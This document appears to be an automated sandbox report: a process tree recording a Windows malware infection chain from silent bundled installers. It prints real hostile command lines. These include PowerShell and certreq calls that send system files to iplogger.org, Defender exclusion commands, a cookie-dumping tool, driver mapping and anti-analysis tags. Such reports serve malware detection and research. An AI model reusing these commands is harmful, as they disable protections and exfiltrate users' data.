C:\Users\Admin\AppData\Local\Temp\is-452M4.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-452M4.tmp\Setup3310.tmp" /SL5="$40998,802346,56832,C:\Users\Admin\AppData\Local\Temp\1ge32gep2h0\Setup3310.exe" /Verysilent /subid=57731⤵
- Checks computer location settings
- Checks whether UAC is enabled
- Modifies Internet Explorer settings
- Modifies registry class
-
C:\Users\Admin\AppData\Local\Temp\is-20364.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-20364.tmp\Setup.exe" /Verysilent32⤵
-
C:\Users\Admin\AppData\Local\Temp\is-31F1P.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-31F1P.tmp\Setup.tmp" /SL5="$D038C,802346,56832,C:\Users\Admin\AppData\Local\Temp\is-20364.tmp\Setup.exe" /Verysilent33⤵
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Local\Temp\is-5C3QT.tmp\ProPlugin.exe"C:\Users\Admin\AppData\Local\Temp\is-5C3QT.tmp\ProPlugin.exe" /Verysilent34⤵
-
C:\Users\Admin\AppData\Local\Temp\is-OMQ5D.tmp\ProPlugin.tmp"C:\Users\Admin\AppData\Local\Temp\is-OMQ5D.tmp\ProPlugin.tmp" /SL5="$A0662,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-5C3QT.tmp\ProPlugin.exe" /Verysilent35⤵
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\fgwmp53zkxb\0h4x0ifkvgf.exe"C:\Users\Admin\AppData\Local\Temp\fgwmp53zkxb\0h4x0ifkvgf.exe" /ustwo INSTALL30⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 12908 -s 65631⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 12908 -s 67231⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 12908 -s 78431⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 12908 -s 66831⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 12908 -s 87231⤵
- Program crash
- Modifies registry class
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 12908 -s 92831⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 12908 -s 113631⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\nqq1g1fpzb3\app.exe"C:\Users\Admin\AppData\Local\Temp\nqq1g1fpzb3\app.exe" /8-2330⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Program Files (x86)\Cool-River"31⤵
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-IGD5J.tmp\Delta.exe"C:\Users\Admin\AppData\Local\Temp\is-IGD5J.tmp\Delta.exe" /Verysilent19⤵
-
C:\Users\Admin\AppData\Local\Temp\is-BMJBL.tmp\Delta.tmp"C:\Users\Admin\AppData\Local\Temp\is-BMJBL.tmp\Delta.tmp" /SL5="$506B4,898740,56832,C:\Users\Admin\AppData\Local\Temp\is-IGD5J.tmp\Delta.exe" /Verysilent20⤵
-
C:\Users\Admin\AppData\Local\Temp\is-R2KNL.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-R2KNL.tmp\Setup.exe" /VERYSILENT21⤵
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im Setup.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\is-R2KNL.tmp\Setup.exe" & del C:\ProgramData\*.dll & exit22⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im Setup.exe /f23⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 623⤵
- Delays execution with timeout.exe
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-IGD5J.tmp\zznote.exe"C:\Users\Admin\AppData\Local\Temp\is-IGD5J.tmp\zznote.exe" /Verysilent19⤵
-
C:\Users\Admin\AppData\Local\Temp\is-UUCPL.tmp\zznote.tmp"C:\Users\Admin\AppData\Local\Temp\is-UUCPL.tmp\zznote.tmp" /SL5="$606B4,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-IGD5J.tmp\zznote.exe" /Verysilent20⤵
-
C:\Users\Admin\AppData\Local\Temp\is-4NQ3A.tmp\jg4_4jaa.exe"C:\Users\Admin\AppData\Local\Temp\is-4NQ3A.tmp\jg4_4jaa.exe" /silent21⤵
- Checks whether UAC is enabled
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-IGD5J.tmp\hjjgaa.exe"C:\Users\Admin\AppData\Local\Temp\is-IGD5J.tmp\hjjgaa.exe" /Verysilent19⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt20⤵
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt20⤵
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\0ommlcsyb4s\vpn.exe"C:\Users\Admin\AppData\Local\Temp\0ommlcsyb4s\vpn.exe" /silent /subid=48215⤵
-
C:\Users\Admin\AppData\Local\Temp\is-NGQHG.tmp\vpn.tmp"C:\Users\Admin\AppData\Local\Temp\is-NGQHG.tmp\vpn.tmp" /SL5="$4044C,15170975,270336,C:\Users\Admin\AppData\Local\Temp\0ommlcsyb4s\vpn.exe" /silent /subid=48216⤵
- Loads dropped DLL
-
-
-
C:\Users\Admin\AppData\Local\Temp\3c0tifd5n4b\askinstall24.exe"C:\Users\Admin\AppData\Local\Temp\3c0tifd5n4b\askinstall24.exe"15⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe16⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe17⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\bsz5zq5eews\chashepro3.exe"C:\Users\Admin\AppData\Local\Temp\bsz5zq5eews\chashepro3.exe" /VERYSILENT15⤵
-
C:\Users\Admin\AppData\Local\Temp\is-DBTGU.tmp\chashepro3.tmp"C:\Users\Admin\AppData\Local\Temp\is-DBTGU.tmp\chashepro3.tmp" /SL5="$50394,2012497,58368,C:\Users\Admin\AppData\Local\Temp\bsz5zq5eews\chashepro3.exe" /VERYSILENT16⤵
- Drops file in Program Files directory
-
C:\Program Files (x86)\JCleaner\8.exe"C:\Program Files (x86)\JCleaner\8.exe"17⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c echo grYNxrw18⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd < Nemica.sys18⤵
-
C:\Windows\SysWOW64\cmd.execmd19⤵
-
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1EaGq7"17⤵
- Blocklisted process makes network request
- Drops file in System32 directory
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c "start https://iplogger.org/1EaGq7"17⤵
- Checks computer location settings
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c certreq -post -config https://iplogger.org/1EaGq7 %windir%\\win.ini %temp%\\2 & del %temp%\\217⤵
-
C:\Windows\SysWOW64\certreq.execertreq -post -config https://iplogger.org/1EaGq7 C:\Windows\\win.ini C:\Users\Admin\AppData\Local\Temp\\218⤵
-
-
-
C:\Program Files (x86)\JCleaner\Venita.exe"C:\Program Files (x86)\JCleaner\Venita.exe"17⤵
- Suspicious use of SetThreadContext
-
C:\Program Files (x86)\JCleaner\Venita.exe"{path}"18⤵
-
-
-
C:\Program Files (x86)\JCleaner\Brava.exe"C:\Program Files (x86)\JCleaner\Brava.exe"17⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1aSny7"17⤵
- Blocklisted process makes network request
- Drops file in System32 directory
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c "start https://iplogger.org/1aSny7"17⤵
- Checks computer location settings
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c certreq -post -config https://iplogger.org/1aSny7 %windir%\\win.ini %temp%\\2 & del %temp%\\217⤵
-
C:\Windows\SysWOW64\certreq.execertreq -post -config https://iplogger.org/1aSny7 C:\Windows\\win.ini C:\Users\Admin\AppData\Local\Temp\\218⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\orur20bnu1i\app.exe"C:\Users\Admin\AppData\Local\Temp\orur20bnu1i\app.exe" /8-2315⤵
- Loads dropped DLL
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Program Files (x86)\Bitter-Moon"16⤵
-
-
C:\Program Files (x86)\Bitter-Moon\7za.exe"C:\Program Files (x86)\Bitter-Moon\7za.exe" e -p154.61.71.51 winamp-plugins.7z16⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ""C:\Program Files (x86)\Bitter-Moon\app.exe" -map "C:\Program Files (x86)\Bitter-Moon\WinmonProcessMonitor.sys""16⤵
-
C:\Program Files (x86)\Bitter-Moon\app.exe"C:\Program Files (x86)\Bitter-Moon\app.exe" -map "C:\Program Files (x86)\Bitter-Moon\WinmonProcessMonitor.sys"17⤵
-
-
-
C:\Program Files (x86)\Bitter-Moon\7za.exe"C:\Program Files (x86)\Bitter-Moon\7za.exe" e -p154.61.71.51 winamp.7z16⤵
-
-
C:\Program Files (x86)\Bitter-Moon\app.exe"C:\Program Files (x86)\Bitter-Moon\app.exe" /8-2316⤵
-
C:\Program Files (x86)\Bitter-Moon\app.exe"C:\Program Files (x86)\Bitter-Moon\app.exe" /8-2317⤵
- Modifies data under HKEY_USERS
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\3mib33fzre1\vict.exe"C:\Users\Admin\AppData\Local\Temp\3mib33fzre1\vict.exe" /VERYSILENT /id=53515⤵
-
C:\Users\Admin\AppData\Local\Temp\is-VLD4H.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-VLD4H.tmp\vict.tmp" /SL5="$302F2,870426,780800,C:\Users\Admin\AppData\Local\Temp\3mib33fzre1\vict.exe" /VERYSILENT /id=53516⤵
-
C:\Users\Admin\AppData\Local\Temp\is-LQILL.tmp\wimapi.exe"C:\Users\Admin\AppData\Local\Temp\is-LQILL.tmp\wimapi.exe" 53517⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\tufjqs25bbk\askinstall24.exe"C:\Users\Admin\AppData\Local\Temp\tufjqs25bbk\askinstall24.exe"15⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe16⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe17⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1qs3wo1r31h\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\1qs3wo1r31h\Setup3310.exe" /Verysilent /subid=57715⤵
-
C:\Users\Admin\AppData\Local\Temp\is-UI0JC.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-UI0JC.tmp\Setup3310.tmp" /SL5="$202FC,802346,56832,C:\Users\Admin\AppData\Local\Temp\1qs3wo1r31h\Setup3310.exe" /Verysilent /subid=57716⤵
-
C:\Users\Admin\AppData\Local\Temp\is-T1VJ6.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-T1VJ6.tmp\Setup.exe" /Verysilent17⤵
-
C:\Users\Admin\AppData\Local\Temp\is-U310C.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-U310C.tmp\Setup.tmp" /SL5="$90524,802346,56832,C:\Users\Admin\AppData\Local\Temp\is-T1VJ6.tmp\Setup.exe" /Verysilent18⤵
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Local\Temp\is-G21N0.tmp\ProPlugin.exe"C:\Users\Admin\AppData\Local\Temp\is-G21N0.tmp\ProPlugin.exe" /Verysilent19⤵
-
C:\Users\Admin\AppData\Local\Temp\is-IVNON.tmp\ProPlugin.tmp"C:\Users\Admin\AppData\Local\Temp\is-IVNON.tmp\ProPlugin.tmp" /SL5="$405B4,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-G21N0.tmp\ProPlugin.exe" /Verysilent20⤵
-
C:\Users\Admin\AppData\Local\Temp\is-FUQ90.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-FUQ90.tmp\Setup.exe"21⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe"22⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-G21N0.tmp\PictureLAb.exe"C:\Users\Admin\AppData\Local\Temp\is-G21N0.tmp\PictureLAb.exe" /Verysilent19⤵
-
C:\Users\Admin\AppData\Local\Temp\is-98RV6.tmp\PictureLAb.tmp"C:\Users\Admin\AppData\Local\Temp\is-98RV6.tmp\PictureLAb.tmp" /SL5="$405CE,1574549,56832,C:\Users\Admin\AppData\Local\Temp\is-G21N0.tmp\PictureLAb.exe" /Verysilent20⤵
-
C:\Users\Admin\AppData\Local\Temp\is-2QQU4.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-2QQU4.tmp\Setup.exe" /VERYSILENT21⤵
-
C:\Users\Admin\AppData\Local\Temp\is-II7D8.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-II7D8.tmp\Setup.tmp" /SL5="$907EE,442598,358912,C:\Users\Admin\AppData\Local\Temp\is-2QQU4.tmp\Setup.exe" /VERYSILENT22⤵
-
C:\Users\Admin\AppData\Local\Temp\is-1RS9O.tmp\kkkk.exe"C:\Users\Admin\AppData\Local\Temp\is-1RS9O.tmp\kkkk.exe" /S /UID=lab21423⤵
- Drops file in Drivers directory
-
C:\Users\Admin\AppData\Local\Temp\06-84293-65e-bbda1-0d3a9ed5e320f\Balysasawe.exe"C:\Users\Admin\AppData\Local\Temp\06-84293-65e-bbda1-0d3a9ed5e320f\Balysasawe.exe"24⤵
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-G21N0.tmp\Delta.exe"C:\Users\Admin\AppData\Local\Temp\is-G21N0.tmp\Delta.exe" /Verysilent19⤵
-
C:\Users\Admin\AppData\Local\Temp\is-JRQF8.tmp\Delta.tmp"C:\Users\Admin\AppData\Local\Temp\is-JRQF8.tmp\Delta.tmp" /SL5="$40A4E,898740,56832,C:\Users\Admin\AppData\Local\Temp\is-G21N0.tmp\Delta.exe" /Verysilent20⤵
-
C:\Users\Admin\AppData\Local\Temp\is-RVSI0.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-RVSI0.tmp\Setup.exe" /VERYSILENT21⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-G21N0.tmp\zznote.exe"C:\Users\Admin\AppData\Local\Temp\is-G21N0.tmp\zznote.exe" /Verysilent19⤵
-
C:\Users\Admin\AppData\Local\Temp\is-S3MJF.tmp\zznote.tmp"C:\Users\Admin\AppData\Local\Temp\is-S3MJF.tmp\zznote.tmp" /SL5="$80B72,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-G21N0.tmp\zznote.exe" /Verysilent20⤵
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\tnxzke1ydf5\emcqgx5shmc.exe"C:\Users\Admin\AppData\Local\Temp\tnxzke1ydf5\emcqgx5shmc.exe" /ustwo INSTALL15⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 10272 -s 64816⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 10272 -s 66416⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 10272 -s 67216⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 10272 -s 70416⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 10272 -s 88016⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 10272 -s 92816⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 10272 -s 113216⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\wt5lz24tgu1\chashepro3.exe"C:\Users\Admin\AppData\Local\Temp\wt5lz24tgu1\chashepro3.exe" /VERYSILENT15⤵
-
C:\Users\Admin\AppData\Local\Temp\is-DGFND.tmp\chashepro3.tmp"C:\Users\Admin\AppData\Local\Temp\is-DGFND.tmp\chashepro3.tmp" /SL5="$70AB4,2012497,58368,C:\Users\Admin\AppData\Local\Temp\wt5lz24tgu1\chashepro3.exe" /VERYSILENT16⤵
- Drops file in Program Files directory
-
C:\Program Files (x86)\JCleaner\8.exe"C:\Program Files (x86)\JCleaner\8.exe"17⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c echo grYNxrw18⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd < Nemica.sys18⤵
-
C:\Windows\SysWOW64\cmd.execmd19⤵
-
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1EaGq7"17⤵
- Blocklisted process makes network request
- Drops file in System32 directory
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c "start https://iplogger.org/1EaGq7"17⤵
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c certreq -post -config https://iplogger.org/1EaGq7 %windir%\\win.ini %temp%\\2 & del %temp%\\217⤵
-
C:\Windows\SysWOW64\certreq.execertreq -post -config https://iplogger.org/1EaGq7 C:\Windows\\win.ini C:\Users\Admin\AppData\Local\Temp\\218⤵
-
-
-
C:\Program Files (x86)\JCleaner\Venita.exe"C:\Program Files (x86)\JCleaner\Venita.exe"17⤵
- Suspicious use of SetThreadContext
-
C:\Program Files (x86)\JCleaner\Venita.exe"{path}"18⤵
-
-
C:\Program Files (x86)\JCleaner\Venita.exe"{path}"18⤵
-
-
-
C:\Program Files (x86)\JCleaner\Brava.exe"C:\Program Files (x86)\JCleaner\Brava.exe"17⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1aSny7"17⤵
- Blocklisted process makes network request
- Drops file in System32 directory
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c "start https://iplogger.org/1aSny7"17⤵
- Checks computer location settings
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c certreq -post -config https://iplogger.org/1aSny7 %windir%\\win.ini %temp%\\2 & del %temp%\\217⤵
-
C:\Windows\SysWOW64\certreq.execertreq -post -config https://iplogger.org/1aSny7 C:\Windows\\win.ini C:\Users\Admin\AppData\Local\Temp\\218⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\i342pfjh1ve\app.exe"C:\Users\Admin\AppData\Local\Temp\i342pfjh1ve\app.exe" /8-2315⤵
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Program Files (x86)\Winter-Feather"16⤵
-
-
C:\Program Files (x86)\Winter-Feather\7za.exe"C:\Program Files (x86)\Winter-Feather\7za.exe" e -p154.61.71.51 winamp-plugins.7z16⤵
- Drops file in Program Files directory
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ""C:\Program Files (x86)\Winter-Feather\app.exe" -map "C:\Program Files (x86)\Winter-Feather\WinmonProcessMonitor.sys""16⤵
-
C:\Program Files (x86)\Winter-Feather\app.exe"C:\Program Files (x86)\Winter-Feather\app.exe" -map "C:\Program Files (x86)\Winter-Feather\WinmonProcessMonitor.sys"17⤵
- Suspicious behavior: LoadsDriver
-
-
-
C:\Program Files (x86)\Winter-Feather\7za.exe"C:\Program Files (x86)\Winter-Feather\7za.exe" e -p154.61.71.51 winamp.7z16⤵
- Adds Run key to start application
-
-
C:\Program Files (x86)\Winter-Feather\app.exe"C:\Program Files (x86)\Winter-Feather\app.exe" /8-2316⤵
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-BEGAE.tmp\Delta.exe"C:\Users\Admin\AppData\Local\Temp\is-BEGAE.tmp\Delta.exe" /Verysilent4⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-LAFOA.tmp\Delta.tmp"C:\Users\Admin\AppData\Local\Temp\is-LAFOA.tmp\Delta.tmp" /SL5="$303F4,898740,56832,C:\Users\Admin\AppData\Local\Temp\is-BEGAE.tmp\Delta.exe" /Verysilent5⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-36SS1.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-36SS1.tmp\Setup.exe" /VERYSILENT6⤵
- Loads dropped DLL
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im Setup.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\is-36SS1.tmp\Setup.exe" & del C:\ProgramData\*.dll & exit7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im Setup.exe /f8⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 68⤵
- Delays execution with timeout.exe
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-BEGAE.tmp\zznote.exe"C:\Users\Admin\AppData\Local\Temp\is-BEGAE.tmp\zznote.exe" /Verysilent4⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-H4A8U.tmp\zznote.tmp"C:\Users\Admin\AppData\Local\Temp\is-H4A8U.tmp\zznote.tmp" /SL5="$60464,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-BEGAE.tmp\zznote.exe" /Verysilent5⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-DH9GC.tmp\jg4_4jaa.exe"C:\Users\Admin\AppData\Local\Temp\is-DH9GC.tmp\jg4_4jaa.exe" /silent6⤵
- Checks whether UAC is enabled
- Suspicious use of SetWindowsHookEx
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-BEGAE.tmp\hjjgaa.exe"C:\Users\Admin\AppData\Local\Temp\is-BEGAE.tmp\hjjgaa.exe" /Verysilent4⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵
- Suspicious use of SetWindowsHookEx
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-E4MHA.tmp\vpn.tmp"C:\Users\Admin\AppData\Local\Temp\is-E4MHA.tmp\vpn.tmp" /SL5="$102B8,15170975,270336,C:\Users\Admin\AppData\Local\Temp\a3rgvfhbby3\vpn.exe" /silent /subid=4821⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "2⤵
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe remove tap09013⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "2⤵
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe install OemVista.inf tap09013⤵
-
-
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" install2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s DsmSvc1⤵
- Checks SCSI registry key(s)
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\3adfb07a6b094d91853593df048a2987 /t 6284 /p 61961⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall1⤵
- Drops file in Windows directory
- Checks SCSI registry key(s)
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{389c2a19-e4b0-1b4a-b54a-0569f21d7d7f}\oemvista.inf" "9" "4d14a44ff" "000000000000017C" "WinSta0\Default" "0000000000000180" "208" "c:\program files (x86)\maskvpn\driver\win764"2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "000000000000017C"2⤵
- Drops file in Drivers directory
- Drops file in System32 directory
- Drops file in Windows directory
- Checks SCSI registry key(s)
-
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -s DsmSvc1⤵
- Checks SCSI registry key(s)
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
-
